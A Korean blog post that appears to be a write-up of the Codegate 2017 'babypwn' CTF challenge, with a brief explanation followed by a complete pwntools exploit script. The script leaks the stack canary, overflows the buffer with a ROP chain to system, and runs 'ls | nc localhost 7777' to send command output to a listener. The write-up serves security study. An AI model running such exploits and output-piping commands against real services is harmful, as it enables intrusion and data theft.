본문 바로가기

공부는 계속 ../Pwnable Writeup

Codegate 2017 - babypwn

babypwn

babypwn.py



도라애몽, Nuclear 보다 훨씬 쉬웠던 문제이다.


버퍼를 출력해주는 구문에서 버퍼와 연관된 카나리를 바로 출력할 수 있었으며,


system 함수도 사용하고 있어서(IDA 및 elfsymbols 확인) 바로 rop 공격이 가능하였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')
 
= ELF('./babypwn')
rop = ROP(e)
ip = 'localhost'
port = 8181
 
#leak canary
= remote(ip, port)
 
print r.recv(4096)
r.send('1\n')
print r.recv(4096)
r.send('a'*41)
data = r.recv(4096)
print hexdump(data)
 
canary = u32('\x00'+data[0x29:0x2c])
print '[+] leak canary : 0x%x' %canary
 
#exploit!
 
r2 = remote(ip, port)
cmd = "ls | nc localhost 7777\x00"
rop.recv(0x04, e.bss(), len(cmd),0)
rop.system(e.bss())
payload = "a"*40 + p32(canary) + 'b'*12 + rop.chain()
print r2.recv(4096)
r2.send('1\n')
print r2.recv(4096)
r2.send(payload)
print r2.recv(4096)
r2.send('3\n')
r2.send(cmd)
cs


'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글

Protostar heap3  (0) 2018.02.27
Double Free Bug  (0) 2018.02.23
Codegate 2014 Nuclear  (0) 2018.02.21
basic-rop  (1) 2018.02.20
Codegate 2014 Angry_Doraemon  (0) 2018.02.19